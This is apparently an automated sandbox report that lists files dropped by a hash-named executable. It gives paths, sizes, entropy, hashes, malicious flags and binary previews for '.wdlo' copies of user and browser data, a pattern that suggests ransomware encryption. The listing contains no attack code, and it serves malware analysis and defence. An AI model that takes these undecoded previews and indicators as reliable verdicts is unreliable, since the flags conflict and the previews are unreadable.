SHA-512:	F941B4F63C48709795C9C799E6CE41973D5A88587C8F0CD1E0D9B0EFB40726E98989C5E9A6C1D6F10C37BBCED21A5CFB3CA765743314CFF7A162300FDE01A7D0
Malicious:	false
Preview:	.....)y...^........<..!.[;..%.vy-gJ...%...:].{.A.s...RaK...0d..`...n.....M./?..t.Z....g...C!:M.p..Qag2T.T..!...?.a..&}%..UD........d.j..'..1i.E.^l.aA.`.T..^..P.4..Z.......j/"ub..+z...8...]\...}p...q...iY.?Ty&h..C:...-D.....S...>.........vAk..'..r.M..;UYA.@..=.Y...t.<..=......N^f.qK..B..8..>...l.U6W...k..n.N.V........_lI...p.....R[....Rv.@.~./......Un."q.CNDo.r.j.1.=3m[_...g....;@.8y.}.I(GXr<.k.#.L+.-n.Q"..q.........-os.r.Ze...m....0-......5d.X..M..w.k.(..^.....\..<0..j6K.&$...J.....fn..Zs.............V5.f....!......LP.....[.........7..<.&....cD..h.....x'...96.e..b..uT.N...2.C.f. \|.M., .#1...g......@.8..8.q.7.../:%.^..lh..c.....).Rpin..n.....:....0Ep....?w&...>.........`y.\|.M_X..\|N..2.`,zKrV P...4.k.N.uBu ..Z.....B...6.@...`.A..1.7/J...bj[.=...\.....%=...4.&..........G..'~{.:%\.....NV..G..<.....K...)....t.`D.[.......N..'...c8j@gP...u:....qg....&......*O...Y.}.8...4..L6..yJ...(M..@\.f..e(.9....Q............l......7..&.+.vdo0.L..

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988847797854704
Encrypted:	false
SSDEEP:	384:9emhVVoYMEwsA4xx5U0Q5MgmgQD7wtBuLPAaqAndGZZ:koVV9FXxxdQCnJD7wtBubznQZZ
MD5:	9AFC5515DD92E4C1AF63E7788AAD331E
SHA1:	814B76C08D5733C33BD96D84B9D5917F6851A969
SHA-256:	DA5D49E6048459B75F6A9FE14D4F2C5457C645563AACD967DCF744FE70FDC30F
SHA-512:	E5F157E37700D2A09DAD17E84B7B4C3F7885E1D5E53334729A979B19722C6F3069393FE39816E03A8EE3910F6EC6734049AD0AEF535884210CBBDA99B890F1F8
Malicious:	false
Preview:	.......d...\4~...u.....no..%.S.]...T.9.K.R........mI.....J....{n...k...t?....h..t.b..q.r9UF..V?.:....`~.............A.k...@.../..{....h..2..s.6B..Mp..9.P.Mk....v.\|=..=...X..ryI...x]....n..Hl.[!.....:..;\.e..2.L..f...T?A..?ZU#[...KY..{../C...6K..@.2D..........".....M6-...t.......c...9{;...>.e...._R............].hmj\..^.}:m..q\|.}\|.G.}..T.$.....{h.I.0..R2.n#..........$.\|...@i..k.,.y..(./.L.X....R.fE.j..P..Y....h....,.0..u..&...g...a.....[.Y........... .T.....H]J...H.N..0....&.;.......... ..q.2I\|r...o.t..\.r.2:.........O..j..y].....N^.ph.4...1.V.u^..y..!...+.@...]O.:F.l...^.(..K.q...D2o.....-......9..<.H.<....?.Q_T'gH.(.s....}.G....U'l.V.....<.....y.].j..r.w....r..+..\..w-......,....Z..J...8..e....J.N8,........o7d....^v>.........j.....J................k....:.^..H@q..b.5fi....,..b.N..g....#P.Q.o.....T...].s...9u..A...@.......;.</...zQ..$...=~....p.z.#wx...E<.H./..Q._..8V.....;$...e..B.....p.......h..ff..c.5T.%...z.TP.%.wX.`..O...W.xuiWz)c/Nv....

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7567279690329249
Encrypted:	false
SSDEEP:	6144:ZorFEV6rPLaTJsdDPfewlpCEYsFXTtbTSa+d+gOrOuWxWk3m+cun4CfYjUfSUXi6:Zsfb2CdzeECElZtb0R3b0Q
MD5:	0BD50CC5C01FF8DBC28A0036A8CC9918
SHA1:	F5AB4A9687B7FECF1FF04EE3BF28BE3976EDBC7A
SHA-256:	975859F60AEEE6D50A10279649079A89BABB8F72D50A3AD2E37628E86BCE5B6B
SHA-512:	FE3A779A21C495BE36FF36D9823D780E59237C6681202979D25657F924765A3F7A21BF10ADE19DB8B088552C405608368F7BED9F65B40C0B6CFF1E7CD39FBD5E
Malicious:	false
Preview:	....eY..P}[.....;....J./....X[.7....@ ...........X.Ck.`..!<.......%..o.dO.5W..e.SJ.v...'..[#....^K.A.PJ"......z......mI..B"9.4K1._v.=.8h`.:o.G....Wz.. .E@..Me;...}..O..........5x.g.\|..p..,.d.U....6.G.;...hB....f..T.B.dD.w.kA.....%.....+.S.b3z.V.@.......6".<.4..!..t...MM.3...52.0D..9(.>Yg.j4.....@+.(.$.K.l.....f....'.J..}......>"0.......D.{.....$...A.lL@@.....#f..k.O.e.o. .)...\|. "[..@.vTX....2...fi.SO.9....r.p ....+......k.%..!...........2.]....X.#..B..m...q.0..Z.NU..r.....T.....K.).!s.k9z.^...HX..;-.\.&;..v......f.![.&].6....2u.........LL.~..3.....a........Q..z..JzY.d.D.Q!...3.D..]C.f.3..\|.....3..<.V..7..%xQE\|b..rJ.....b.\..`..5....3B..1.xD4Jf...+..1l.^.3..E.z5.W...4..Cxc...U:ka.m[..'.j8....hG,...Wr.HDDl...g..2..vy].......(...ik...uy%.B=.."..g...a.M.e..pX...J.A2+..>...z...N...w9..../....3..x..-4........+...3c...S........\AU.B.5..R.h>~[..4.D..{.Er....PK.lY..@...f.<.. .P;<........+.....I.u..#G..s7\f.l1-..../...}....0Cu.+...<<...~p.%.4

C:\Users\user\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	5196
Entropy (8bit):	7.963053332785453
Encrypted:	false
SSDEEP:	96:rTXdiT6ZQfD7xjedOWGOMm6XjY6/q/oyHSLcaKbvZbQ4wDSHF:3XdE6g50ODOM5Y5eazC2F
MD5:	79CAE5B49BBD440F911F836DFE434512
SHA1:	6677D9EF74B142CBA595DF66F9D800F30C1F1B4A
SHA-256:	99BC630650DF09DA0883A7961D260CDC3DC089614E0003AC62CFA16B42A40110
SHA-512:	A97BC9A6415472F5F3911118A89BD9FB7111931DA9104A87C5B5671BE539B6F2A6D2269EF22930BEB35911E256BB40263BD6E3B8373F588F6BF13E9245377B54
Malicious:	false
Preview:	.{.~J.Y.J............; . .s.....~...v...`.r...T).....w..}p....P ....&\..l...h0..g..^....]..z..w.P.K.....I.)....tB...8.N....9....,.t..!"[...Veyq.1Wb.....x..,...m..t...D>Gy..8...`...j......M+clZ.pr....`..!.1..X..3.....(...)...r@..=.. ......;..j.\....@.%.d.:2.O.m...._0......6.DT..?\@...v7.<...rSf78.\|.QM~..J.C.]...4X[..u..&%..`.7.....8x.b~......e<.._.....Yf..$......D....%j.=...M...=\|...AnBn?po..`.O.tS=.......`...2...@..}a.....H.x...a#n(aj.$.d.S.LjR..xI-..}.S...%4...c.....&...d....^QE..Mx...LC.=so&Bx.b,G.a..3a..-.W...Du0L.C.?.37D.,.u.y....A.gBQX.W5.....&.Em>y.....F.....D.?...,.iy.....&...1.r.......nV_....&a.1KSJV.}..em....I_b..2.....D.&tW.&.J.s..$>..zY.}v..../.....yV.....).b.<...m.a.....n..A-.,.?4cZ.9#\|...L...@.)....VJ...7f.V...!..c0..d(.....E.E....... "..m....@..B(.j..c..3...5..........=n nkO..,T.(u!......&.X.L......!`.{=.:....D7.b',.4.....j.x.%....8^....`b..r....[.j...+...@9....r.....wCa{-;..bp...1S..g..{M....H..o.UfD.6b..;d.......

C:\Users\user\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.779921735753436
Encrypted:	false
SSDEEP:	24:wTn1wmNfIbqYA3E/WVxpxlYK6rPYoRmMT1mq3zbD:K1w0yU3ESYK6rrvIq3nD
MD5:	473A807E3831EEBFD2A4B0BBEC535410
SHA1:	C02CF4F0A0CE0FC2E354D778F437F2A2A6B4E9DB
SHA-256:	0A4E29C4F822A66D704D0EFC5C6877A137C6FC74FE2AD92259E7D8DE06BCE4D6
SHA-512:	E2C40A10AD84267D4AF241E310C1506AE39832C11941C0FB86C226D2D3C2CF0BB88E31A1CB3CD419ECEFFE10660159B430C5BA079CBD17B981FBB894A7E062A2
Malicious:	false
Preview:	....C2...e...m}...=.....).. .3#...NS......&....}.^...?.Po...H..5.n.Ya\|..t.tw.x.R.....5..Fg..A.Zm.b...p..?...-.Z..v}Tg}.7.......y..7.Z)r9@A.x6.H.tj.5.I<.Ip(...e)O......=....Sjs...P..E.)....0..V...)~s.L...o...Br.~....j.i...[../....8..k..Ge=z.~..(#....i..VoQd)...l.....I.E._....R=.d....8...e.S....b.v..B..#..............haf......{./>..\`.CStF@A...H4..Owf?..q...$`.?..oI.^).......Y......IZu4.e.3W.=.Moc.".Y.@I..>7_^..\|(.d..W..W.X5F...g....d.... ../.,.c.o....._...\|y?...@8.gf.......b....<..j......,.G.....+.....].G......l..y...j.P..Q,.6a..Z..g...K..!x..A.A..=.Q.m&.....T..$8.F1...../.4%...Q.....R......E.F...,E.4eG.e,eg.Z.:....}..Xb..M*1...H.....<F.................<...8.f.N..5...+9.b..~...#$.?f'L......ne...$.,.i..z..z..].......(y..x.......r......./........C..[. <...r...\.t..S........:n4....B...1s..^qk.3......=ga.}.Z.....MN.2.d...m..........A."T.0O..n...C.....x...hQm.x.f.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.839947536252333
Encrypted:	false
SSDEEP:	24:KkVPEJUyZSB5Z+MId/aJhEcVYdLv9rASjDwLf2wsZFKXscwy83T+tsMadXLCFf5E:RWtlMId/cVYdLv9rn3wr2wsZ0PwykTWS
MD5:	6794E82575AADAC88784BCD6C7485C5E
SHA1:	E20C5E39EE51C13885D0A821DC46547F09BB1652
SHA-256:	5A3322E93BD685B2737399460731D60F3EAF065A24EBDE0C23DA828D3EAA5679
SHA-512:	18285E3C96881659DB12CB3F837FDA12B452BD376BE7DE9F98B0AA806A6640DF8DAAC4D3C9D76B90F78A47DBD41FF68B837309CBA5381062FE7E9EFC955E13C9
Malicious:	false
Preview:	.{../....iH...'o....+....~......r.<1...u..uB...02Q....j..)d.-.j,.M.&t.....O........&."..VPw..#.F.r{....&c...u.....`.ib.....q[.u....Q..6.s.......0..;U<J}......)TY.T.g.b(.`..C=7...t..5...-.pI#.)S]>.P..WM.F.R...CX^..-.......Ax...#.K.A.....D@.....G.U.g...~d>....Z.`y.)N....:qj7q...@......i.C.7..y-.5l...4P...g@.....h.J....)..;.-...l..:.UL.d.......~......!........&.oO&.crBZ.....=?.6.d..lnk..q.:.....:..V.....L..0neJ....=$..tFp.^W.t...4I7..2U&S?..j..v../..[...M.7..hM.g`tBO.U'...U.......s....&c.VE9.o...T.6..k.... .+..n_...]LW..JgjR...n.d...G..7..`.~bq_.....o.i..{.Q.[2OU5q.#.x=$..0P.\....l....29..3....."5...q.e.+.....I.1.U..$.v.D...Lp. >v....1.k.>.k.`W.~`....S..WH?.......$...R.hW..........e....D.[.H.d.z.......u..@3......./...~......-.lPP.M.X.s....j..0.s.wk.o'...i....+5.&.d..k)..1.N...l..>.+y.....m.................."M$z....@.....S..b.A.6....<.,...J.p=....R....RXA2.,6...w.PO...^,.o(5.d?...m).1...v`J..F..sz...[$`....@..hz.\|.._.

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdpresource.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.33074697042514
Encrypted:	false
SSDEEP:	12:UOSVqLsy6D/U6GHZFRJoYkMN/oyMOmDW36Wcii9a:UEz6D/UtHLr+MNgydma3zbD
MD5:	985A9DE83A52AB9974F96899B9B902E1
SHA1:	FAF2BB8489D6D9F1B83395A9D8EC93E9641EFA39
SHA-256:	295D7DDB839659F8DE0D382AEBEDC66A89539F5F90E134A629379811503C6FD3
SHA-512:	00D1155CACC5772DE51EE821B41F0B1AAD34B790A97712665A1E8620FEED65A7E2F8328F7E5D9A3F31E6447991C9FB24C98A326FF4711D83F6423580616BE11D
Malicious:	false
Preview:	.{...,.D.$.....v.;.z..H.2.}9.v.\|.4. Z.TA..T..4`.".q8...../.+/..=.......z!V`-....}).V.Y..1....8..5..%9.3.\|"/...2.]..a..3h.0...?.[.R.z.g,}.X...D......fFV.Kh.......>`......IOX..W:.....D.'.....m.%K..Y../..O..u7 }K..1..,.....\]....S.\|$.j.>(.....0....K%V\5....:.J...."....................Hi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99675698700447
Encrypted:	true
SSDEEP:	1536:ZxjLeF6NCCsgljTZTtWnySIN5L3opcvp2mkh:jevJkjltW5qpopOpfC
MD5:	A82D9AD523FB55FD3678038C89089BEE
SHA1:	278514D2FE1A9A1A9DE8DC114DEC4422914E0452
SHA-256:	E77E2BA062DCC08F331F4DF9DA6CAD335DEB755881A20E304BC5F970E6E0BF49
SHA-512:	2DE63928C72967011F21017188D0DC68F23D7D9E861913004D4BA36E17B5F120F766E306CAB11F4C662097BD82350E0B74D7F78111CF00990AE420CAA5104F10
Malicious:	true
Preview:	SQLit.t..d}..1../..(7(BY..8.....f.z6..C^[..\.x..._..........,...B....O.S.............3X..0.y...D....Sr...............S:..n{..~.......#.."..[..R4g.....^...56.0<...........X.#..!zQh.-...D..7`S. .0....g6...<-X.hK...Jm..........T..21.u7T..._.Y.....w=.>..._yp...Z.....,,A.W.W.$.[82..%ig....J...p"..r.I.Z....?...dyX@4{i.....4.t....=k.......S..#..tmr....C.b..{..e..{..".BtT.Q...G>.?.9Z:...nQ"..#+#r.]nL....2....`......./@.J_.\...Aq..p.P...e.%..gdeZ>..2....b...9...z....{.....Q{.F..XP.x.lK.wY..?.r8..}.dr.d>.l.... ....Hh.9...JS"...d....D..r#...-(n^..0....A.E._s....T.V.(.....y.tf..aQ..!.....a.MZ....)z?...Kt\|? K.H:.0....2.}..UW.)..I..X.d....b.D.<.\|d(.4..ho.h.F..\|/p..M..~.."...{a.^...3Z"..X...T&......[...&...y....a..Xf.\w.#B.t.Q....91..S.9...x.<@.r..I...P..O..bX[..R.3._.v....b...~'..+..W?.....`..a.'..9.Z).K!6.y.m.'[Qx....VN\.'...)...a.t.6..p.cc..O.d..3j...)...v...Av/.....x.B..8..z...j.FX...h.......;y..+we.[......j.(...`@..J$.p.o......7.H.Jq...e...}ms~aK.W..

C:\Users\user\Local Settings\IconCache.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	11913
Entropy (8bit):	7.985812649018027
Encrypted:	false
SSDEEP:	192:hWwA6F0+3ma5c0UZbg+dT1hibympA1B4OOc2+XRHO9GaECH40OTSjZ:hWwdaoiZdLhibVpnO0+XRHdZCHdOe
MD5:	85EA914A1E03C09D2D942040D7DB4B3A
SHA1:	17C48B4B0290421FE44E479645FEB326D917183C
SHA-256:	76C0C439954912DF673695D5E3716ADB170F7CC87A77F5468F7D4A0A0C73FAC8
SHA-512:	125E3BEAA2E7C207A5580673D006C8119E6F6624CA916775C6A57C4E3B0AD35F59AFF2897D5DE8A00C369E99277886304F7719B96C6C50957C619B5C8B64327C
Malicious:	false
Preview:	H...W..v...PLBzl...:t.#2dP.i.MA.U...}...z..R.q.[.w.>f.OQ.U.\|h...m=..P.s.Y...4....f..7.K..Z....?..U.}.\.\|.].jm.j...AqE.I.b2.?iw.1:.9y.d.S..m....}B...).{}....QX..2..S...5.!..%#.8z...S...=N..7.i...e.\|u..`ws.r.....:..r.<RM;...&.Dc..6H>....3...K...M>..W.\.2(....Jb.HJJ-.<6.fG.R.W. .&9.~\|........6..@.F.#..o\.y.es].Ni..x0`>?.T.........?.....q!.../.t./0....._..&\.H.?.q......x..\|..i).....#.d{..W.jE-....!kW.2Z.3G.[Z......`.....R)()......[.1j....RU.i._..4]...p91.?#...P@/.!}h.4..d.....X..<.O..)dt..;..L..i..c"._...h..a[.k......L\|....9?......H..@g>..)p<H...f..;..yjU...]..<.:..bdw3de..1.....@.....p.......cR.t..{.m"Vc..W#...'qlW..."&...=8.s<.<..g..z....O.N..z..g..iS...p...ho".u...b........p.%...~jx..S.F ..nA./....~.w.g;$..\|T..ztG7...?o/x.D`.iK..5.%.Id../nHT..c...cu6.R]...e......ys!.E.s....a....FI...k...5v.b.I..G{.....9........`!...3.P..#..N.9[.D7.7....u....L\|.W...d...=.3E...M.u....,..Y..B.....{....1x.._..9M.}.[O).m.....\|g96}z..._..)..=.d..........n.`

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.297745187031384
Encrypted:	false
SSDEEP:	6:Q7hQV9+YoLHR3I7tW9mQ5qy9amugCCPUeSKLvlY74cC7aUJ/sTYdTROsVolWbz6Q:Q29oLx3GtW9mynugCVAL9Y7hYxD36Wcq
MD5:	1923F54FDBA1E522086552DCBB3A8C2A
SHA1:	6513A996275FCE406164C721F3FC2558BAA44758
SHA-256:	209E1487297948705678D6D56E574081E22E56C371321BA177FF4B8DC6CC0AC1
SHA-512:	851EB39095E600868D26859B084D6A3F7579F304CC1D9781710D44BD7896C174E71C71566D0849D75C32A999ADF55A3AFB2739A9949A27AB1FF2EFDA4E208D6A
Malicious:	false
Preview:	1,"fu.LW..U1F.R......X....0\|..=..D7.d.p@[.c.....I...5....x.A#r.......#d.-..A.r...C.zi`.(.....1_..!@..\.y....QY...v...:sJ._..}C..gc.t....s#..6A':..u.O..J.V.X......T.1x.^>..w~}.4...\.2...Lwm..v.;....T.^....e......`.5^....zX.F..^....K..6.?...v.....O..6.@m.F_tb.vYi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.825850092493502
Encrypted:	false
SSDEEP:	24:kgRWL5ENhYtNYuttwanIhHuAMvGF7qWRnWIaZ6l7AS0D3zbD:kgRA5ENhYtNY+KanIhHuAMOBqWRW4lcT
MD5:	F75692B6A2C9295A8229283A0814F59A
SHA1:	C4D68B9B68D4AC46588D39CDBA481E302C4D6C4F
SHA-256:	1D57585BF503D1B9B6E04202E909E7978D659A0B465C940FD28811C3CB42196E
SHA-512:	7CF12D5845F89F0CEF2B5A93AF6DD3A0BE6D873106B8C955EB69023D54CFCAE4CECE0FC23039DDD6A8B967B70B4C07335B0BD6D5C666883280F7CA95C071E67D
Malicious:	false
Preview:	1,"fu..1..Z.......*;.H89...?......vpX.C.y..U....A....:.8b....K..S........!.8..H"....)......x..o.....W....iN}v..R...@&.u......-..`?....8.....R.m..Z=.._k.]....=n.'.U:..i.AMx..]E....q...L..m$;A.....dz(.3..\|....bbV...O2.R[+...b...8................)8..e....k..t.q....s.D~3...Q/...o.mP.F...L.k.4.P.....s.X.\Km..8r..f..........h.K-.... .b.....ud.k.....Zb..%s@.i.._..a.~.@.Ij... .!!j....+.^.........8..I...s.:..pFv6m..p....%8.].D]h.].S..b.c.!.\|........Q.'.hQ7..?..?b.1.Y5.u.....!........]_Z~.K..JRL..i.f.5...Q.j.....'X...;S".n_.k..'.#e.....<I.G.V'x..9.Mq`~.p...x...)AB.l/......;......z.fa8n..2<....p..O...f.1..rw.q'6..:F2..)C.[...#{.L..C4pw......I.........m.s.i.Hv.l...O....=.2vJ.P.>.!.`..1..?..$0.r./e..w=...^Gj....%I.....n...Zj.\..G...&[)...........<^#..DQ0..;.F....7..K..%f.xm.f..gr:.x..s.._%..BB...^7.[.j.....f....P8...?..}V....x.\|..q.....Aw....hbn...y......5h.......N G.....4.r...z...H2.K.....`.1....`..:Os./.'xVl.(.....j._.Le.)/..~.....

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.98766100133738
Encrypted:	false
SSDEEP:	192:wHJPpjhZIb7llgGTijXkZCXfxghEdIsTB4ugi9DksGthjpEoI785R4W7vuI5bckh:wpxjh+AGkLdIsguyMyiu+yTkYSY0NzkP
MD5:	505AF2BA89A63EF488278E4A2F1A8E5E
SHA1:	A43F383C006CD0BC14CFB898C6E953D4FD3F8A43
SHA-256:	6DD12AC2D0D908867C0DA6749A8C418F15AA19C6CE5EAA9A58BB59CD0EFAB16D
SHA-512:	5BA3BA922E3AFDA2335A22AA1E2D2B8A65384B7EC2C5AD1667910E22466DAD1E27F4E9CEC73383144122D458CD04174B81DD0B69B6BFE903F3C6BE28CE8875FA
Malicious:	false
Preview:	...@.y..o...x...5\r..yJU..zgq..hAkW............h...F.?KaqDV&.zq.......9,~...C.......X...I.....g..Q{?.....v#......?.'..+.}......D-..V.E.../B].(.@2..x%6..i.M9'.....s.\G. ......c..0...=".-..$^.-.J.#L{..?qdT......X.j.=.Ed......f..&C......H..,.......vx."&..s.R.qwQ..Dt^.s.P.Pc.....a.).I.]..)."N..~....Bqk..".Gw.Ai.........._.).C.........r......i.^W.H.....Eg.Q.V..\|Y...Je.1.F7).....Q....Z.......*....3.b..$n..)......9..:..........(.."...h[ h..a....'._.t...zu+5dl.f;.=.+".Y....CCL_m.L.%..Y........\|-.7A...O.m..O.fJ..x..'.r)h...([S.5.N..\|....o..A.vHf.5....R...e.Q.....1.j3..9.Rv.ob6......G).'.\|......a.V.D....a.8.W...bE/.._Q.Y'.;.KR.Lv.:.pU...i..0..OX......@=....y:..@....!..h&.Y...S......,.P...3./...[...Ah.O...aZ9..c..YS.X..LAdg-J>/\|...qS.{q2.X.fF...\.I..ZH.....x..........&@..^...t..01\...E...P....#......tS...q.g..\|44..n.4l_. J...T.X..4....C.&..:Z-.{8....'.0...~.......f..7...'...V......!..D3....g.R...l2..@.4...:.n..D.k.Ut..]A./...K7..0 .....V...W._R".

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978755963215439
Encrypted:	false
SSDEEP:	3072:NQRA9Ote7Hn+H1X9gdTd9AD7FBICoByIx0FpLh96Z+DXXr6dcJXMccVX3:NQRKOtencgbwWBtx0FpLh5T+doccC3
MD5:	6C925A2CA433C2A5129D391343EBDFF2
SHA1:	E52397D642172C34A8E6B8F193F737F5B62C786A
SHA-256:	92E33D87E68294C958CA9E3B12F4504346A24A8757CC80F00CF09738943F9F09
SHA-512:	3CCD57AE5EFAE31E260CD2B2F90E84D168094562F67F8CDCE36BCE3ADACC2B7B8032075C922711195676002F93FA173AA392038A6FE9FAC6EA0CBA0376C26E81
Malicious:	false
Preview:	{"Maj.k.....zN.3b.0.X`.b.(....-;$.TR......\...g~.....G.7.....KK...V.b...V....s..e.j.v...k.j.wPP%.E...g .....g.N... .g....>1...$L...,...s&.5@B.I.B.../.....?..QL..I0U...4..%R@L.C.5+<..CZ......$..UDL"......am\|...(..0... E..O..P....A_%=.......\|..e.`..g.i..Y5..h..[.......[.b..3.E.<..+......?.....9.u.GU`2lT.@.....>u.......F....}.F......B.3.T7.....N7.?.V....S@..........BF.a.WH5.\|.)..`..\|...j."v..Y.M..Q..(.3T...YZR.Wa....V._Z....{..@...%S...h...FK....%v..^9..gu..c`.m8f.*.....P+(.,+..h.9.....oO.`uY.....t...~F~F.\|..K\|.\'.......=..=.....S.x2...{1.F.!e.o....<.. w2.!{o.H.5Gr...+.w{....,F..b..<.Y..G.aAb.W....i!t.d.U...v.6.F..(...cBx.~v0..3..g....9...x....k.0\|.u...e....5.A.!.'.3.!..)..?.9.7.\..v.\#!..p.2..m;.!...4...u#F.~uR...T,.~T...9v?r.R[....Vp.R8..... .a .#..&EM...}..6,...K...I...-..s]....."..x.......m ?..".}..G...W).....2.1...x... "3........D..R./E.y..C."jB. .EKI...d.>.CL..d..FQ.a.q.Q)..J..."X.in.^t....xH.-@%...o.....M`r.!...B..Q~....#..Sj....

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.912750861958189
Encrypted:	false
SSDEEP:	48:eXChTazFSm5rthGQSRgJEWwHtiy9/B0RiLxo4LmRgiVksz3nD:IChTgSm7yRuBwR/P3mRF3
MD5:	CD39826EDF1512897A88EF18C93B9E73
SHA1:	88075C9981DBC9FFC09C156E8A46D5E00D294EE8
SHA-256:	C23C7DCD86D409E4CE76859B0C4F19966CFCC15104CA704B5A5F931B78A5FCBF
SHA-512:	59AB00DF630885F823D5B594B3196EFE59F5C16F2772402461E117AAC6108089366516BD30BDEACF614D5C8935B89252FC654AFB7F6DB2FA61D83131E1AF7451
Malicious:	false
Preview:	<?xml.&...,\.F.+.s.V..2?.#...m....}.......{..&.z...N=.i<Q.3K1..........S .y}dk........HHp....t.n..j..j..Y.c.(r......Y%Y......b...\|..3...R..@.....E^<m....NZ...o<.lWl.Q.F.../.J...,(w8..6...7G.D{7.fL....5.....@..<.M.........!.6H....}..).......XPa..C..\|......B..).yG...#YO...8K ...>..v+.'].J...TWt.@xi?2\S.(g.N+=I..c..p./.=v.u..c....DJ=...M....O........`...`$...#.Oe`.[.~.l_.F$Ff..}=./....Z..+Y....P`..T&.N%<...f.I.S_....8.}....BV&....w/yd..h.@....U.@.RK,kgj5.JP.l..\H..K..Wh@....Q8.}#Y5:..]........'.j...A)ilB.H...+7..5.R.......7.W.......S^.4...l...=..!....E../o..<..-Z}.Y......1.a....../J..5.....O.c.g..Q........J.G+...LyC..e.p...$..^....^:.6..j..".>..d.;.v.#6q.M.(iDp..........sE..gJ..}......@K..D...!&oa.~...".n.Q.....Z.Z..6K...........f..O.P....JB..+.D&..6...K..3.RCB.9-<..[..d%........b.....ylY.u.`r....]ty..`...E.{..[..<".I.......&5....j"9..o.....w.W.:....=...zS.e.k*.e.]..0.;..4&.P...H&..o..@...k..S..<q.-.6G?f<KP7..z............#...3m.W`.2R

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9768379532374905
Encrypted:	false
SSDEEP:	192:nYabdm/43+RYK3vRPX3+cCxdvItKEwxlfKY1X5Vh/G:nDY43+eK39XfCrIUEmBDRjM
MD5:	206963AD0EB65A0FF65918A49540826C
SHA1:	1781F889C1AC29752780B960C4585C9C5E67C6EF
SHA-256:	D93828F8F13B6954CD018DA66CD1E5F9F5C2EA93F042572D05363F5EF695C09A
SHA-512:	24E6B77FE38435128D1F4AC2A55AFAFC8271B977F7CDFF198BE55C2EDE9CA1929E72FDCDBE71CFF1D1BD0F68BD94BBABEC9F7A6A7ABDA3FBE69DEA1D66C05612
Malicious:	false
